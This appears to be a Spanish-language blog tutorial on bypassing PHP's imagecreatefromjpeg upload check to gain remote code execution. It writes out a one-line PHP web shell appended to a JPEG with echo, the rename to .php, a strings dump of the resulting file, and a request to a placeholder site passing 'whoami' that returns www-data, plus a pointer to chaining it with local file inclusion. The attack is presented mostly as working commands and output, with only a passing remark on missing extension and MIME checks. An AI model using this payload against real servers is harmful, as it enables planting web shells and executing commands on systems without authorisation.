Bypass imagecreatefromjpeg y con RCE final


Bits hacked foto La función imagecreatefromjpeg de php se utiliza por los webmasters para subir imágenes a las webs. Esta función no realiza un filtro de la imagen para que no se incluya código malicioso. De esta forma si el programador únicamente realiza esta comprobación sin mirar también la extensión del archivo, el mimetype, el tamaño,...

Creando el payload

Para el payload necesitamos una imagen cualquiera con la extensión requerida, en este caso jpeg. Una vez descarga la imagen elegimos el código php que queremos ejecutar, en nuestro caso vamos a utilizar una microshell de php. Utilizamos el comando echo para aderir la shell a la imagen.

echo "<?=@`$_GET[c]`;" >> imagen.jpg

Una vez hecho esto podemos cambiarle la extensión para que se ejecute como un php.

mv imagen.jpg imagen.php

El código de la imagen, osbervándolo con el comando strings, quedaría algo parecido a esto.

JFIF
 $.' ",#
(7),01444
'9=82<.342
!22222222222222222222222222222222222222222222222222
AQaq
#2BRb
!A"Qaq
e$wm#
6^u 
mh{U
YHoR
7)+Q
'n[Q
MskkI
5I>M
Q6m7mcz
`-Y-a[T
m%)d(
B[JT
\@I +i
JSM:X-
t=8 
vWs,^
WSK!
+lsY
)@)J
BG*?
Rc!AN8
+,[)
J&LR
Kn }
[.w5
HJR<
HO%,
}+?6sMEt\
_M,:
urdan
7}9n
q?U(|
)@)JP
Q\n6
5!XB
fdmq
JR>C
-m8-
}Y: 8L
[zf_
)@)JP
a;!C
!]]h
Gn4d
)@)JP
x)RR
!IRTR
=EefV
9B,t
n;+y
JW@*{
)@)JP
g.?-
+`RO
                                                                                                                    <?=@`$_GET[c]`;

Con ello subimos la imagen y pasamos el "filtro" de imagecreatefromjpeg. La imagen se guardará tal cual con al extensión, en caso de no tener un control sobre la extensión, y podremos acceder ejecutando comandos en el sistema.

http://pwnweb.com/images/imagen.php?c=whoami

Con ello nos retornará algo parecido a esto:

www-data

En caso de que comprobaran la extensión se podría seguir usando el código malicioso incrustado en la imágen para con una vulnerabilidad del tipo LFI ejecutarlo y conseguir el RCE.

Webgrafía

https://secgeek.net/bookfresh-vulnerability/